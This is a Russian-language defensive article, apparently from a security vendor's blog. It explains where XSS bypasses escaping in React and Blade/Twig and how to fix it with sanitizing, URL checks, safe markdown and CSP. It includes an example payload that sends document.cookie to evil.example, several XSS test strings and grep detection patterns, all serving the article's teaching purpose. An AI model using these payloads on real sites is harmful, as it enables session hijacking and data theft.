Веб
XSS в React и Blade: где заканчивается защита фреймворка
React и Blade экранируют данные автоматически, но dangerouslySetInnerHTML, {!! !!}, ссылки javascript: и markdown обходят эту защиту. Как проверить и как исправить.
· 10 мин. чтения

Cross-site scripting (XSS) — уязвимость, при которой атакующий может выполнить свой JavaScript на вашей странице. Этот код работает в браузере пользователя от имени вашего домена: читает данные на странице, отправляет запросы от имени пользователя, показывает поддельную форму входа.
Современные фреймворки решили большую часть этой проблемы. React автоматически экранирует текст внутри JSX, так же поступают {{ }} в Laravel Blade и {{ }} в Twig. Поэтому многие считают: «у нас XSS быть не может». На практике XSS почти всегда находится там, где кто-то намеренно вышел за пределы автоматической защиты фреймворка. В этой статье разберём эти места по одному.
Коротко о типах XSS
- Reflected (отражённая) XSS — вредоносный код приходит в самом запросе (например, в параметре URL) и сразу возвращается в ответе. Атакующий убеждает жертву открыть специальную ссылку.
- Stored (хранимая) XSS — вредоносный код записывается в базу (комментарий, имя профиля, описание товара) и выполняется у каждого, кто его увидит. Этот тип опаснее: ссылку отправлять не нужно, а жертвами часто становятся и администраторы.
- DOM-based XSS — ответ сервера безопасен, но фронтенд-код опасным способом записывает в DOM данные из URL или другого источника (
innerHTML,document.write,location.hash).
Почему это важно для экспертизы
XSS входит в категорию A03 «Injection» списка OWASP Top 10 (2021) и классифицируется как CWE-79. На официальной экспертизе все поля ввода, параметры URL, имена файлов и ответы API проверяются на XSS. Особенно stored XSS — например, когда текст обычного пользователя выполняется в админ-панели — считается серьёзной находкой, потому что через сессию администратора может открыть доступ ко всей системе.
Кроме того, экспертиза отдельно проверяет наличие заголовка Content-Security-Policy. CSP — второй уровень защиты от XSS, и ниже мы на нём тоже остановимся.
Откуда XSS приходит в React
dangerouslySetInnerHTML
Единственный способ вставить HTML напрямую в React — dangerouslySetInnerHTML. Название намеренно пугающее, но его всё равно часто используют: текст статьи из CMS, результат WYSIWYG-редактора, «отформатированное» сообщение с сервера.
// Опасно: description пришёл от пользователя
<div dangerouslySetInnerHTML={{ __html: product.description }} />
Если в description окажется <img src=x onerror="fetch('https://evil.example/?c='+document.cookie)">, он выполнится. Решение — очищать HTML библиотекой вроде DOMPurify:
import DOMPurify from 'dompurify';
const clean = DOMPurify.sanitize(product.description, {
USE_PROFILES: { html: true },
});
<div dangerouslySetInnerHTML={{ __html: clean }} />
Лучший вариант — очищать HTML и на сервере при сохранении, и ещё раз на фронтенде при выводе.
Ссылки javascript: в href и src
React экранирует текст, но не проверяет смысл значения атрибута. Если в профиле пользователя есть поле «сайт»:
<a href={user.website}>Сайт</a>
и он введёт javascript:alert(document.domain), клик по ссылке выполнит код. Новые версии React предупреждают о таких ссылках, но полагаться на это не стоит. Проверяйте схему URL сами:
function safeUrl(value) {
try {
const url = new URL(value, window.location.origin);
return ['http:', 'https:', 'mailto:'].includes(url.protocol) ? url.href : '#';
} catch {
return '#';
}
}
<a href={safeUrl(user.website)} rel="noopener noreferrer">Сайт</a>
То же правило действует для iframe src, window.location = ... и window.open(...).
Прямая запись в DOM
ref.current.innerHTML = ... через useRef, передача HTML-строки сторонним библиотекам (графики, карты, тултипы), eval и new Function — всё это вне защиты React. Большинство библиотек тултипов принимают HTML в content; перед передачей туда пользовательских данных экранируйте их или включите текстовый режим.
Серверный рендеринг (SSR) и начальное состояние
В Next.js и других SSR-решениях сервер встраивает состояние в <script> в виде JSON. Если это делается вручную через JSON.stringify, строка </script> внутри данных может закрыть блок скрипта и добавить новый код. Используйте механизм самого фреймворка или заменяйте < на <.
Откуда XSS приходит в Blade и Twig
{!! !!} и |raw
В Blade {{ $x }} экранирует значение через htmlspecialchars. {!! $x !!} — не экранирует. В Twig этому соответствует фильтр |raw.
{{-- Опасно --}}
<div class="bio">{!! $user->bio !!}</div>
{{-- Безопасно: как текст --}}
<div class="bio">{{ $user->bio }}</div>
Если HTML действительно нужен (например, статья от администратора), очищайте его при сохранении. Для PHP подходит HTML Purifier или похожая библиотека. Никогда не выводите пользовательские данные через {!! !!} без очистки.
Важен контекст: JavaScript и атрибуты
{{ }} безопасен в HTML-контексте, но не внутри JavaScript:
{{-- Опасно: в JS-контексте HTML-экранирования недостаточно --}}
<script>
const name = '{{ $user->name }}';
</script>
{{-- Безопасно --}}
<script>
const name = @json($user->name);
</script>
@json (или Js::from) правильно кодирует значение для JavaScript. Также не помещайте пользовательские данные в inline-атрибуты событий вроде onclick="..." и всегда берите значения атрибутов в кавычки.
Inertia
При использовании Inertia props страницы записываются в атрибут data-page как JSON, и Laravel их экранирует. Риск — на стороне фронтенда, если в React-компоненте допущены описанные выше ошибки.
Markdown: скрытая дверь для HTML
Многие проекты используют Markdown для комментариев, описаний или базы знаний. Проблема в том, что стандарт Markdown допускает сырой HTML внутри и принимает ссылки вида [ссылка](javascript:...).
В Laravel Str::markdown() использует CommonMark и принимает безопасные настройки:
use Illuminate\Support\Str;
$html = Str::markdown($comment->body, [
'html_input' => 'strip',
'allow_unsafe_links' => false,
]);
В Node пропускайте результат marked или markdown-it через DOMPurify. В markdown-it настройка html: false (по умолчанию) отключает сырой HTML, но ссылки всё равно нужно проверять.
Имена файлов, SVG и другие неожиданные источники
XSS приходит не только из текстовых полей:
- Имя файла — если имя загруженного файла выводится в списке через
{!! !!}. - SVG-файлы — внутри SVG может быть
<script>. Если загруженный пользователем SVG открывается напрямую с вашего домена, скрипт выполнится. Подробнее: уязвимости загрузки файлов. - Сообщения об ошибках — например, «
<поисковый запрос>не найден». - PDF и экспорт — в библиотеках, которые делают PDF из HTML, введённый HTML тоже может выполняться.
Как проверить самостоятельно
Поиск по коду
# React / JS
grep -rnE "dangerouslySetInnerHTML|innerHTML\s*=|outerHTML|insertAdjacentHTML|document\.write|eval\(|new Function" src/ resources/js/
# Blade / Twig
grep -rnE "\{!!" resources/views/
grep -rnE "\|raw" templates/
# динамическое значение в href
grep -rnE "href=\{[^}\"']+\}" resources/js/ src/
Для каждого результата проследите, откуда приходят данные: от пользователя, администратора или внешнего API?
Ручная проверка
В тестовой среде вставьте простые строки в каждое текстовое поле, параметр URL и имя файла и посмотрите, как они выводятся в ответе:
"><img src=x onerror=alert(document.domain)>
javascript:alert(document.domain)
</script><script>alert(1)</script>
Затем смотрите не исходный код страницы (view-source:), а DOM в DevTools: если строка видна как текст (<img) — хорошо, если появилась как настоящий тег — уязвимость есть. Для stored XSS проверяйте и страницы, которые видит другая роль (например, администратор).
Второй уровень: Content-Security-Policy
Исправление кода — основная защита. CSP — второй уровень, который ограничивает ущерб, если ошибка всё же осталась. Правильно настроенный CSP блокирует inline-скрипты и скрипты с чужих источников.
Пример для nginx:
add_header Content-Security-Policy "default-src 'self'; script-src 'self'; object-src 'none'; base-uri 'self'; frame-ancestors 'self'" always;
Если в приложении есть inline-скрипты (Vite dev, начальное состояние Inertia, аналитика), используйте nonce вместо добавления 'unsafe-inline'. В Laravel Vite через Vite::useCspNonce() добавляет nonce в свои теги, а вы записываете тот же nonce в заголовок CSP. Сначала протестируйте с Content-Security-Policy-Report-Only, затем переходите в принудительный режим. Подробнее: заголовки безопасности: CSP и HSTS.
Дополнительные меры:
- Сессионная cookie должна быть
HttpOnly— тогда скрипт не сможет её прочитать. - Не храните токены в
localStorage: XSS читает их напрямую.
Экранирование фреймворка — защита по умолчанию. XSS всегда появляется там, где кто-то намеренно отключил это умолчание.
Короткий чек-лист
- Просмотрены все места с
dangerouslySetInnerHTML,{!! !!},|raw,v-htmlиinnerHTML. - Пользовательский HTML очищается DOMPurify или HTML Purifier.
- В
href,srcи редиректах разрешены только схемыhttp,https,mailto. - В Blade в JS-контексте используется
@jsonилиJs::from. - Markdown рендерится без сырого HTML и опасных ссылок.
- SVG и другие загруженные файлы отдаются с отдельного домена или с
Content-Disposition: attachment. - Stored XSS проверена и в админ-панели.
- Установлен CSP, вместо
'unsafe-inline'используется nonce. - Сессионные cookie
HttpOnly,Secure, токены не вlocalStorage.
Вывод
React и Blade дают сильную базовую защиту от XSS, но у каждого есть «кнопка отключения защиты». Уязвимости находятся именно там, где эти кнопки нажаты: dangerouslySetInnerHTML, {!! !!}, непроверенные URL и markdown. Найти эти места через grep, очистить данные и добавить CSP — конкретная и измеримая работа, которую стоит сделать до экспертизы.
Хотите выявить опасные с точки зрения XSS места в приложении до экспертизы? Оставьте заявку на сканирование — Claude AI агент найдёт опасные шаблоны во фронтенде и шаблонах, а наш специалист подтвердит их и поможет исправить.


